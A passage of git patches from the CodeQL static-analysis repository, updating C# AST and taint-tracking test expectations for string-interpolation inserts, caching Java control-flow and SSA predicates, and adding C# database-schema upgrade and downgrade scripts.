0: [LocalVariableAccess] access to local variable o @@ -740,7 +741,8 @@ CSharp7.cs: # 239| 0: [TypeMention] Console # 239| 0: [InterpolatedStringExpr] $"..." # 239| 0: [StringLiteralUtf16] "string " -# 239| 1: [LocalVariableAccess] access to local variable s1 +# 239| 1: [InterpolatedStringInsertExpr] {...} +# 239| 0: [LocalVariableAccess] access to local variable s1 # 241| 2: [IfStmt] if (...) ... # 241| 0: [IsExpr] ... is ... # 241| 0: [LocalVariableAccess] access to local variable o @@ -775,7 +777,8 @@ CSharp7.cs: # 255| 0: [TypeMention] Console # 255| 0: [InterpolatedStringExpr] $"..." # 255| 0: [StringLiteralUtf16] "x " -# 255| 1: [LocalVariableAccess] access to local variable s4 +# 255| 1: [InterpolatedStringInsertExpr] {...} +# 255| 0: [LocalVariableAccess] access to local variable s4 # 256| 6: [BreakStmt] break; # 257| 7: [CaseStmt] case ...: # 257| 0: [VariablePatternExpr] Int32 i2 @@ -789,7 +792,8 @@ CSharp7.cs: # 258| 0: [TypeMention] Console # 258| 0: [InterpolatedStringExpr] $"..." # 258| 0: [StringLiteralUtf16] "positive " -# 258| 1: [LocalVariableAccess] access to local variable i2 +# 258| 1: [InterpolatedStringInsertExpr] {...} +# 258| 0: [LocalVariableAccess] access to local variable i2 # 259| 9: [BreakStmt] break; # 260| 10: [CaseStmt] case ...: # 260| 0: [VariablePatternExpr] Int32 i3 @@ -800,7 +804,8 @@ CSharp7.cs: # 261| 0: [TypeMention] Console # 261| 0: [InterpolatedStringExpr] $"..." # 261| 0: [StringLiteralUtf16] "int " -# 261| 1: [LocalVariableAccess] access to local variable i3 +# 261| 1: [InterpolatedStringInsertExpr] {...} +# 261| 0: [LocalVariableAccess] access to local variable i3 # 262| 12: [BreakStmt] break; # 263| 13: [CaseStmt] case ...: # 263| 0: [VariablePatternExpr] String s2 @@ -811,7 +816,8 @@ CSharp7.cs: # 264| 0: [TypeMention] Console # 264| 0: [InterpolatedStringExpr] $"..." # 264| 0: [StringLiteralUtf16] "string " -# 264| 1: [LocalVariableAccess] access to local variable s2 +# 264| 1: [InterpolatedStringInsertExpr] {...} +# 264| 0: [LocalVariableAccess] access to local variable s2 # 265| 15: [BreakStmt] break; # 266| 16: [CaseStmt] case ...: # 266| 0: [TypeAccessPatternExpr] access to type Double diff --git a/csharp/ql/test/library-tests/csharp8/PrintAst.expected b/csharp/ql/test/library-tests/csharp8/PrintAst.expected index c33374e4761..4ec30c915b3 100644 --- a/csharp/ql/test/library-tests/csharp8/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp8/PrintAst.expected @@ -4,12 +4,14 @@ AlternateInterpolatedStrings.cs: # 5| -1: [TypeMention] string # 5| 1: [InterpolatedStringExpr] $"..." # 5| 0: [StringLiteralUtf16] "C:" -# 5| 1: [IntLiteral] 12 +# 5| 1: [InterpolatedStringInsertExpr] {...} +# 5| 0: [IntLiteral] 12 # 6| 6: [Field] s2 # 6| -1: [TypeMention] string # 6| 1: [InterpolatedStringExpr] $"..." # 6| 0: [StringLiteralUtf16] "C:" -# 6| 1: [IntLiteral] 12 +# 6| 1: [InterpolatedStringInsertExpr] {...} +# 6| 0: [IntLiteral] 12 AsyncStreams.cs: # 6| [Class] AsyncStreams # 8| 5: [Method] Items diff --git a/csharp/ql/test/library-tests/csharp9/PrintAst.expected b/csharp/ql/test/library-tests/csharp9/PrintAst.expected index a1ecbd0a212..e3b89de2009 100644 --- a/csharp/ql/test/library-tests/csharp9/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp9/PrintAst.expected @@ -1008,8 +1008,9 @@ Record.cs: # 49| 0: [LocalVariableAccess] access to local variable s # 50| 2: [ReturnStmt] return ...; # 50| 0: [InterpolatedStringExpr] $"..." -# 50| 0: [MethodCall] call to method ToString -# 50| -1: [LocalVariableAccess] access to local variable s +# 50| 0: [InterpolatedStringInsertExpr] {...} +# 50| 0: [MethodCall] call to method ToString +# 50| -1: [LocalVariableAccess] access to local variable s # 50| 1: [StringLiteralUtf16] " is a dog" # 54| [RecordClass] R1 # 54| 12: [NEOperator] != diff --git a/csharp/ql/test/library-tests/dataflow/implicittostring/PrintAst.expected b/csharp/ql/test/library-tests/dataflow/implicittostring/PrintAst.expected index bf2a515a889..cd7658f6f5e 100644 --- a/csharp/ql/test/library-tests/dataflow/implicittostring/PrintAst.expected +++ b/csharp/ql/test/library-tests/dataflow/implicittostring/PrintAst.expected @@ -68,8 +68,9 @@ implicitToString.cs: # 32| 0: [LocalVariableAccess] access to local variable x2 # 32| 1: [InterpolatedStringExpr] $"..." # 32| 0: [StringLiteralUtf16] "Hello " -# 32| 1: [MethodCall] call to method ToString -# 32| -1: [LocalVariableAccess] access to local variable x1 +# 32| 1: [InterpolatedStringInsertExpr] {...} +# 32| 0: [MethodCall] call to method ToString +# 32| -1: [LocalVariableAccess] access to local variable x1 # 33| 2: [ExprStmt] ...; # 33| 0: [MethodCall] call to method Sink # 33| 0: [LocalVariableAccess] access to local variable x2 @@ -88,8 +89,9 @@ implicitToString.cs: # 39| 0: [LocalVariableAccess] access to local variable x2 # 39| 1: [InterpolatedStringExpr] $"..." # 39| 0: [StringLiteralUtf16] "Hello " -# 39| 1: [MethodCall] call to method ToString -# 39| -1: [LocalVariableAccess] access to local variable x1 +# 39| 1: [InterpolatedStringInsertExpr] {...} +# 39| 0: [MethodCall] call to method ToString +# 39| -1: [LocalVariableAccess] access to local variable x1 # 40| 2: [ExprStmt] ...; # 40| 0: [MethodCall] call to method Sink # 40| 0: [LocalVariableAccess] access to local variable x2 diff --git a/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected b/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected index ea0ae7f9da7..7187280f755 100644 --- a/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected +++ b/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected @@ -547,12 +547,14 @@ | LocalDataFlow.cs:273:13:273:36 | SSA def(sink69) | LocalDataFlow.cs:274:15:274:20 | access to local variable sink69 | | LocalDataFlow.cs:273:22:273:36 | $"..." | LocalDataFlow.cs:273:13:273:18 | access to local variable sink69 | | LocalDataFlow.cs:273:24:273:28 | "test " | LocalDataFlow.cs:273:22:273:36 | $"..." | -| LocalDataFlow.cs:273:30:273:34 | access to local variable sink1 | LocalDataFlow.cs:273:22:273:36 | $"..." | +| LocalDataFlow.cs:273:29:273:35 | {...} | LocalDataFlow.cs:273:22:273:36 | $"..." | +| LocalDataFlow.cs:273:30:273:34 | access to local variable sink1 | LocalDataFlow.cs:273:29:273:35 | {...} | | LocalDataFlow.cs:277:9:277:16 | access to local variable nonSink0 | LocalDataFlow.cs:277:9:277:37 | SSA def(nonSink0) | | LocalDataFlow.cs:277:9:277:37 | SSA def(nonSink0) | LocalDataFlow.cs:278:15:278:22 | access to local variable nonSink0 | | LocalDataFlow.cs:277:20:277:37 | $"..." | LocalDataFlow.cs:277:9:277:16 | access to local variable nonSink0 | | LocalDataFlow.cs:277:22:277:26 | "test " | LocalDataFlow.cs:277:20:277:37 | $"..." | -| LocalDataFlow.cs:277:28:277:35 | access to local variable nonSink0 | LocalDataFlow.cs:277:20:277:37 | $"..." | +| LocalDataFlow.cs:277:27:277:36 | {...} | LocalDataFlow.cs:277:20:277:37 | $"..." | +| LocalDataFlow.cs:277:28:277:35 | access to local variable nonSink0 | LocalDataFlow.cs:277:27:277:36 | {...} | | LocalDataFlow.cs:278:15:278:22 | [post] access to local variable nonSink0 | LocalDataFlow.cs:285:31:285:38 | access to local variable nonSink0 | | LocalDataFlow.cs:278:15:278:22 | access to local variable nonSink0 | LocalDataFlow.cs:285:31:285:38 | access to local variable nonSink0 | | LocalDataFlow.cs:281:13:281:18 | access to local variable sink70 | LocalDataFlow.cs:281:13:281:34 | SSA def(sink70) | @@ -1237,8 +1239,10 @@ | Splitting.cs:56:13:56:19 | [b (line 46): true] $"..." | Splitting.cs:56:9:56:9 | access to local variable x | | Splitting.cs:56:15:56:15 | [b (line 46): false] "c" | Splitting.cs:56:13:56:19 | [b (line 46): false] $"..." | | Splitting.cs:56:15:56:15 | [b (line 46): true] "c" | Splitting.cs:56:13:56:19 | [b (line 46): true] $"..." | -| Splitting.cs:56:17:56:17 | [b (line 46): false] access to local variable x | Splitting.cs:56:13:56:19 | [b (line 46): false] $"..." | -| Splitting.cs:56:17:56:17 | [b (line 46): true] access to local variable x | Splitting.cs:56:13:56:19 | [b (line 46): true] $"..." | +| Splitting.cs:56:16:56:18 | [b (line 46): false] {...} | Splitting.cs:56:13:56:19 | [b (line 46): false] $"..." | +| Splitting.cs:56:16:56:18 | [b (line 46): true] {...} | Splitting.cs:56:13:56:19 | [b (line 46): true] $"..." | +| Splitting.cs:56:17:56:17 | [b (line 46): false] access to local variable x | Splitting.cs:56:16:56:18 | [b (line 46): false] {...} | +| Splitting.cs:56:17:56:17 | [b (line 46): true] access to local variable x | Splitting.cs:56:16:56:18 | [b (line 46): true] {...} | | Splitting.cs:57:13:57:24 | [b (line 46): false] access to field Item1 | Splitting.cs:57:9:57:9 | access to local variable x | | Splitting.cs:57:13:57:24 | [b (line 46): true] access to field Item1 | Splitting.cs:57:9:57:9 | access to local variable x | | Splitting.cs:57:17:57:17 | [b (line 46): false] access to local variable y | Splitting.cs:58:27:58:27 | [b (line 46): false] access to local variable y | From acec97db94fe79f3928f5d58b62045436be58f88 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 21 Mar 2025 13:32:44 +0100 Subject: [PATCH 056/282] C#: Add change-note. --- csharp/ql/lib/change-notes/2025-03-21-string-interpolation.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 csharp/ql/lib/change-notes/2025-03-21-string-interpolation.md diff --git a/csharp/ql/lib/change-notes/2025-03-21-string-interpolation.md b/csharp/ql/lib/change-notes/2025-03-21-string-interpolation.md new file mode 100644 index 00000000000..3507d35b513 --- /dev/null +++ b/csharp/ql/lib/change-notes/2025-03-21-string-interpolation.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The *alignment* and *format* clauses in string interpolation expressions are now extracted. That is, in `$"Hello {name,align:format}"` *name*, *align* and *format* are extracted as children of the string interpolation *insert* `{name,align:format}`. From 33135330fda5cdf1804415a417f58073a217f184 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 21 Mar 2025 15:21:25 +0100 Subject: [PATCH 057/282] Java: Merge cached stages for BasicBlocks. --- .../code/java/controlflow/BasicBlocks.qll | 32 ++++++++++++++++--- 1 file changed, 28 insertions(+), 4 deletions(-) diff --git a/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll b/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll index 972f97ba367..c2f9e8a6a69 100644 --- a/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll +++ b/java/ql/lib/semmle/code/java/controlflow/BasicBlocks.qll @@ -5,6 +5,19 @@ import java import Dominance +cached +private module BasicBlockStage { + cached + predicate ref() { any() } + + cached + predicate backref() { + (exists(any(BasicBlock bb).getABBSuccessor()) implies any()) and + (exists(any(BasicBlock bb).getNode(_)) implies any()) and + (exists(any(BasicBlock bb).length()) implies any()) + } +} + /** * A control-flow node that represents the start of a basic block. * @@ -12,8 +25,11 @@ import Dominance * often be treated as a unit in analyses. */ class BasicBlock extends ControlFlowNode { + cached BasicBlock() { - not exists(this.getAPredecessor()) and exists(this.getASuccessor()) + BasicBlockStage::ref() and + not exists(this.getAPredecessor()) and + exists(this.getASuccessor()) or strictcount(this.getAPredecessor()) > 1 or @@ -24,7 +40,10 @@ class BasicBlock extends ControlFlowNode { /** Gets an immediate successor of this basic block. */ cached - BasicBlock getABBSuccessor() { result = this.getLastNode().getASuccessor() } + BasicBlock getABBSuccessor() { + BasicBlockStage::ref() and + result = this.getLastNode().getASuccessor() + } /** Gets an immediate predecessor of this basic block. */ BasicBlock getABBPredecessor() { result.getABBSuccessor() = this } @@ -35,7 +54,9 @@ class BasicBlock extends ControlFlowNode { /** Gets the control-flow node at a specific (zero-indexed) position in this basic block. */ cached ControlFlowNode getNode(int pos) { - result = this and pos = 0 + BasicBlockStage::ref() and + result = this and + pos = 0 or exists(ControlFlowNode mid, int mid_pos | pos = mid_pos + 1 | this.getNode(mid_pos) = mid and @@ -52,7 +73,10 @@ class BasicBlock extends ControlFlowNode { /** Gets the number of control-flow nodes contained in this basic block. */ cached - int length() { result = strictcount(this.getANode()) } + int length() { + BasicBlockStage::ref() and + result = strictcount(this.getANode()) + } /** Holds if this basic block strictly dominates `node`. */ predicate bbStrictlyDominates(BasicBlock node) { bbStrictlyDominates(this, node) } From e75ed5a085bdb026e39ad05ceb6a32b866679b84 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 21 Mar 2025 15:45:50 +0100 Subject: [PATCH 058/282] Java: Merge BaseSSA cached stages. --- .../code/java/dataflow/internal/BaseSSA.qll | 21 ++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll b/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll index 1b912f91975..eeac19e66a7 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/BaseSSA.qll @@ -14,9 +14,26 @@ import java private import codeql.ssa.Ssa as SsaImplCommon +cached +private module BaseSsaStage { + cached + predicate ref() { any() } + + cached + predicate backref() { + (exists(TLocalVar(_, _)) implies any()) and + (exists(any(BaseSsaSourceVariable v).getAnAccess()) implies any()) and + (exists(getAUse(_)) implies any()) + } +} + +cached private newtype TBaseSsaSourceVariable = TLocalVar(Callable c, LocalScopeVariable v) { - c = v.getCallable() or c = v.getAnAccess().getEnclosingCallable() + BaseSsaStage::ref() and + c = v.getCallable() + or + c = v.getAnAccess().getEnclosingCallable() } /** @@ -31,6 +48,7 @@ class BaseSsaSourceVariable extends TBaseSsaSourceVariable { */ cached VarAccess getAnAccess() { + BaseSsaStage::ref() and exists(LocalScopeVariable v, Callable c | this = TLocalVar(c, v) and result = v.getAnAccess() and result.getEnclosingCallable() = c ) @@ -188,6 +206,7 @@ cached private module Cached { cached VarRead getAUse(Impl::Definition def) { + BaseSsaStage::ref() and exists(BaseSsaSourceVariable v, BasicBlock bb, int i | Impl::ssaDefReachesRead(v, def, bb, i) and result.getControlFlowNode() = bb.getNode(i) and From 3c6db09039d04ab3718a4ee854e7f8bcf922552b Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 21 Mar 2025 15:53:26 +0100 Subject: [PATCH 059/282] Java: Cache the other compiletimeconstant value predicates --- java/ql/lib/semmle/code/java/Expr.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/java/ql/lib/semmle/code/java/Expr.qll b/java/ql/lib/semmle/code/java/Expr.qll index cb02791e96c..e7dd817cecd 100644 --- a/java/ql/lib/semmle/code/java/Expr.qll +++ b/java/ql/lib/semmle/code/java/Expr.qll @@ -180,7 +180,7 @@ class CompileTimeConstantExpr extends Expr { /** * Gets the string value of this expression, where possible. */ - pragma[nomagic] + cached string getStringValue() { result = this.(StringLiteral).getValue() or @@ -205,7 +205,7 @@ class CompileTimeConstantExpr extends Expr { /** * Gets the boolean value of this expression, where possible. */ - pragma[nomagic] + cached boolean getBooleanValue() { // Literal value. result = this.(BooleanLiteral).getBooleanValue() From d9fb13790994686a480cdf824b53901bbdf4acd3 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Mon, 24 Mar 2025 11:56:00 +0100 Subject: [PATCH 060/282] C#: Add upgrade- and downgrade scripts. --- .../expressions.ql | 13 + .../old.dbscheme | 1460 +++++++++++++++++ .../semmlecode.csharp.dbscheme | 1459 ++++++++++++++++ .../upgrade.properties | 3 + .../old.dbscheme | 1459 ++++++++++++++++ .../semmlecode.csharp.dbscheme | 1460 +++++++++++++++++ .../upgrade.properties | 2 + 7 files changed, 5856 insertions(+) create mode 100644 csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/expressions.ql create mode 100644 csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/old.dbscheme create mode 100644 csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/semmlecode.csharp.dbscheme create mode 100644 csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/upgrade.properties create mode 100644 csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/old.dbscheme create mode 100644 csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/semmlecode.csharp.dbscheme create mode 100644 csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/upgrade.properties diff --git a/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/expressions.ql b/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/expressions.ql new file mode 100644 index 00000000000..4f516d1d5cb --- /dev/null +++ b/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/expressions.ql @@ -0,0 +1,13 @@ +class Expression extends @expr { + string toString() { none() } +} + +class TypeOrRef extends @type_or_ref { + string toString() { none() } +} + +from Expression e, int k, int kind, TypeOrRef t +where + expressions(e, k, t) and + if k = 138 then kind = 106 else kind = k +select e, kind, t diff --git a/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/old.dbscheme b/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/old.dbscheme new file mode 100644 index 00000000000..66044cfa5bb --- /dev/null +++ b/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/old.dbscheme @@ -0,0 +1,1460 @@ +/* This is a dummy line to alter the dbscheme, so we can make a database upgrade + * without actually changing any of the dbscheme predicates. It contains a date + * to allow for such updates in the future as well. + * + * 2021-07-14 + * + * DO NOT remove this comment carelessly, since it can revert the dbscheme back to a + * previously seen state (matching a previously seen SHA), which would make the upgrade + * mechanism not work properly. + */ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +compilation_info( + int id : @compilation ref, + string info_key: string ref, + string info_value: string ref +) + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | f1.cs + * 3 | f2.cs + * 4 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The expanded arguments that were passed to the extractor for a + * compiler invocation. This is similar to `compilation_args`, but + * for a `@someFile.rsp` argument, it includes the arguments from that + * file, rather than just taking the argument literally. + */ +#keyset[id, num] +compilation_expanded_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +// Populated by the CSV extractor +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @externalDataElement + | @xmllocatable | @asp_element | @namespace | @preprocessor_directive; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function | @lambda_expr; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +locations_mapped( + unique int id: @location_default ref, + int mapped_to: @location_default ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +files( + unique int id: @file, + string name: string ref); + +folders( + unique int id: @folder, + string name: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_global( + unique int id: @using_directive ref +); + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +@preprocessor_directive = @pragma_warning | @pragma_checksum | @directive_define | @directive_undefine | @directive_warning + | @directive_error | @directive_nullable | @directive_line | @directive_region | @directive_endregion | @directive_if + | @directive_elif | @directive_else | @directive_endif; + +@conditional_directive = @directive_if | @directive_elif; +@branch_directive = @directive_if | @directive_elif | @directive_else; + +directive_ifs( + unique int id: @directive_if, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref); /* 0: false, 1: true */ + +directive_elifs( + unique int id: @directive_elif, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +directive_elses( + unique int id: @directive_else, + int branchTaken: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +#keyset[id, start] +directive_endifs( + unique int id: @directive_endif, + unique int start: @directive_if ref); + +directive_define_symbols( + unique int id: @define_symbol_expr ref, + string name: string ref); + +directive_regions( + unique int id: @directive_region, + string name: string ref); + +#keyset[id, start] +directive_endregions( + unique int id: @directive_endregion, + unique int start: @directive_region ref); + +directive_lines( + unique int id: @directive_line, + int kind: int ref); /* 0: default, 1: hidden, 2: numeric, 3: span */ + +directive_line_value( + unique int id: @directive_line ref, + int line: int ref); + +directive_line_file( + unique int id: @directive_line ref, + int file: @file ref); + +directive_line_offset( + unique int id: @directive_line ref, + int offset: int ref); + +directive_line_span( + unique int id: @directive_line ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +directive_nullables( + unique int id: @directive_nullable, + int setting: int ref, /* 0: disable, 1: enable, 2: restore */ + int target: int ref); /* 0: none, 1: annotations, 2: warnings */ + +directive_warnings( + unique int id: @directive_warning, + string message: string ref); + +directive_errors( + unique int id: @directive_error, + string message: string ref); + +directive_undefines( + unique int id: @directive_undefine, + string name: string ref); + +directive_defines( + unique int id: @directive_define, + string name: string ref); + +pragma_checksums( + unique int id: @pragma_checksum, + int file: @file ref, + string guid: string ref, + string bytes: string ref); + +pragma_warnings( + unique int id: @pragma_warning, + int kind: int ref /* 0 = disable, 1 = restore */); + +#keyset[id, index] +pragma_warning_error_codes( + int id: @pragma_warning ref, + string errorCode: string ref, + int index: int ref); + +preprocessor_directive_location( + unique int id: @preprocessor_directive ref, + int loc: @location ref); + +preprocessor_directive_compilation( + int id: @preprocessor_directive ref, + int compilation: @compilation ref); + +preprocessor_directive_active( + unique int id: @preprocessor_directive ref, + int active: int ref); /* 0: false, 1: true */ + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type +| 33 = @function_pointer_type +| 34 = @inline_array_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type | @void_type | @inline_array_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +function_pointer_return_type( + unique int function_pointer_id: @function_pointer_type ref, + int return_type_id: @type_or_ref ref); + +extend( + int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int kind: int ref, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +case @attribute.kind of + 0 = @attribute_default +| 1 = @attribute_return +| 2 = @attribute_assembly +| 3 = @attribute_module +; + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic | @function_pointer_type; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is 